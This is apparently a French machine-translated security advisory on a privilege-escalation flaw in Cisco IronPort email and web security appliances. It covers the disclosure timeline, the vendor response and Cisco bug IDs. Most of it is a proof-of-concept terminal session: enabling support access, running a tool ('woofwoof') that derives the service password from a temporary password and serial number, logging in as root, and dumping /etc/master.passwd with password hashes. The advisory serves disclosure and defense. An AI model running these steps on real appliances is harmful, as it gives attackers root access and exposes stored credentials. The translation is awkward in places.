Mise à jour pour Linux
Cisco Ironport Appliances Privilege Escalation Vulnérabilité Vulnérabilité: Cisco Product Web Page: http://www.cisco.com Version affectée (s): Cisco Ironport ESA - Asyncos 8.5.5-280 Cisco Ironport WSA - Asyncos 8.0.5-075 Cisco Ironport SMA - ASyncOS 8.3.6-0 Date: 22/05/2014 Crédits: Glafkos Charalambous CVE: Non attribué par Cisco
Timeline de divulgation: 19-05-2014: Notification des fournisseurs 20-05-2014: Réponse des fournisseurs / commentaires 27-08-2014: Dispue / correctif du fournisseur 24-01-2015: Divulgation publique
Description: Les appareils Cisco Ironport sont vulnérables à l'escalade authentifiée du privilège "admin". En activant le compte de service à partir de l'interface graphique ou de la CLI permet à un administrateur d'obtenir un accès root sur l'appliance, contournant donc toutes les limitations de compte "Admin" existantes. La vulnérabilité est due à une implémentation de l'algorithme faible dans le processus de génération de mots de passe qui est utilisé par Cisco pour accéder à distance l'appareil pour fournir un support technique.
Réponse du fournisseur: Comme prévu, cela n'est pas considéré comme une vulnérabilité mais un problème de durcissement de la sécurité. En tant que tel, nous n'avons pas attribué de CVE, mais je me suis assuré que cela est fixé sur SMA, ESA et WSA. Le correctif comprenait plusieurs modifications telles que la protection de mieux l'algorithme dans le binaire, la modification de l'algorithme lui-même pour être plus robuste et appliquer la complexité du mot de passe lorsque l'administrateur définit le pass-phrase et activez le compte.
[SD] Remarque: Des informations d'identification administratives sont nécessaires afin d'activer le représentant Access to Support et de configurer la phrase PASSE qu'elle est utilisée pour calculer le mot de passe final. [GC] L'utilisateur d'administration a toujours des autorisations limitées sur l'appliance et les informations d'identification peuvent également être compromises, même avec un mot de passe par défaut conduisant à un accès root complet.
[SD] Ce problème est suivi pour l'ESA par Cisco Bug ID: CSCUO96011 pour le SMA par Cisco Bug ID: CSCUO96056 et pour WSA par Cisco Bug ID CSCUO90528
Détails techniques: En vous connectant à l'appliance à l'aide de mot de passe par défaut "Ironport" ou de l'utilisateur spécifié, il existe une option pour activer l'accès à distance du support client. Cette option peut être trouvée sous l'aide et la prise en charge -> Accès à distance sur l'interface graphique ou en utilisant le compte CLI Console "ENableDiag" et en émettant le service de commande. L'activation de ce service nécessite un mot de passe utilisateur temporaire qui doit être fourni avec le numéro de série de l'appareil à Cisco TechSupport pour la connexion et l'authentification à distance à l'appareil.
Avoir un mot de passe temporaire et le numéro de série de l'appareil en permettant le compte de service, un attaquant peut à son tour obtenir un accès root complet et potentiellement l'endommager, IT de la porte dérobée, etc.
POC:
root@kali:~# ssh -lenablediag 192.168.0.158
Password:
Last login: Sat Jan 24 15:47:07 2015 from 192.168.0.163
Copyright (c) 2001-2013, Cisco Systems, Inc.
AsyncOS 8.5.5 for Cisco C100V build 280
Welcome to the Cisco C100V Email Security Virtual Appliance
Available Commands:
help -- View this text.
quit -- Log out.
service -- Enable or disable access to the service system.
network -- Perform emergency configuration of the diagnostic network interface.
clearnet -- Resets configuration of the diagnostic network interface.
ssh -- Configure emergency SSH daemon on the diagnostic network interface.
clearssh -- Stop emergency SSH daemon on the diagnostic network interface.
tunnel -- Start up tech support tunnel to IronPort.
print -- Print status of the diagnostic network interface.
reboot -- Reboot the appliance.
S/N 564DDFABBD0AD5F7A2E5-2C6019F508A4
Service Access currently disabled.
ironport.example.com> service
Service Access is currently disabled. Enabling this system will allow an
IronPort Customer Support representative to remotely access your system
to assist you in solving your technical issues. Are you sure you want
to do this? [Y/N]> Y
Enter a temporary password for customer support to use. This password may
not be the same as your admin password. This password will not be able
to be used to directly access your system.
[]> cisco123
Service access has been ENABLED. Please provide your temporary password
to your IronPort Customer Support representative.
S/N 564DDFABBD0AD5F7A2E5-2C6019F508A4
Service Access currently ENABLED (0 current service logins)
ironport.example.com>
gcc -std=99 -o woofwoof woofwoof.c -lcrypto
./woofwoof
Usage: woofwoof.exe -p password -s serial
-p <password> | Cisco Service Temp Password
-s <serial> | Cisco Serial Number
-h | This Help Menu
Example: woofwoof.exe -p cisco123 -s 564DDFABBD0AD5F7A2E5-2C6019F508A4
./woofwoof -p cisco123 -s 564DDFABBD0AD5F7A2E5-2C6019
F508A4
Service Password: b213c9a4
root@kali:~# ssh -lservice 192.168.0.158
Password:
Last login: Wed Dec 17 21:15:24 2014 from 192.168.0.10
Copyright (c) 2001-2013, Cisco Systems, Inc.
AsyncOS 8.5.5 for Cisco C100V build 280
Welcome to the Cisco C100V Email Security Virtual Appliance
# uname -a
FreeBSD ironport.example.com 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Mar 14 08:04:05 PDT 2014 [email protected]:/usr/build/iproot/freebsd/mods/src/sys/amd64/compile/MESSAGING_GATEWAY.amd64 amd64
# cat /etc/master.passwd
# $Header: //prod/phoebe-8-5-5-br/sam/freebsd/install/dist/etc/master.passwd#1 $
root:*:0:0::0:0:Mr &:/root:/sbin/nologin
service:$1$bYeV53ke$Q7hVZA5heeb4fC1DN9dsK/:0:0::0:0:Mr &:/root:/bin/sh
enablediag:$1$VvOyFxKd$OF2Cs/W0ZTWuGTtMvT5zc/:999:999::0:0:Administrator support access control:/root:/data/bin/enablediag.sh
adminpassword:$1$aDeitl0/$BlmzKUSeRXoc4kcuGzuSP/:0:1000::0:0:Administrator Password Tool:/data/home/admin:/data/bin/adminpassword.sh
daemon:*:1:1::0:0:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5::0:0:System &:/:/sbin/nologin
bin:*:3:7::0:0:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533::0:0:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533::0:0:KMem Sandbox:/:/sbin/nologin
man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/sbin/nologin
sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/sbin/nologin
nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/sbin/nologin
support:$1$FgFVb064$SmsZv/ez7Pf4wJLp5830s/:666:666::0:0:Mr &:/root:/sbin/nologin
admin:$1$VvOyFxKd$OF2Cs/W0ZTWuGTtMvT5zc/:1000:1000::0:0:Administrator:/data/home/admin:/data/bin/cli.sh
clustercomm:*:900:1005::0:0:Cluster Communication User:/data/home/clustercomm:/data/bin/command_proxy.sh
smaduser:*:901:1007::0:0:Smad User:/data/home/smaduser:/data/bin/cli.sh
spamd:*:783:1006::0:0:CASE User:/usr/case:/sbin/nologin
pgsql:*:70:70::0:0:PostgreSQL pseudo-user:/usr/local/pgsql:/bin/sh
ldap:*:389:389::0:0:OpenLDAP Server:/nonexistent:/sbin/nologin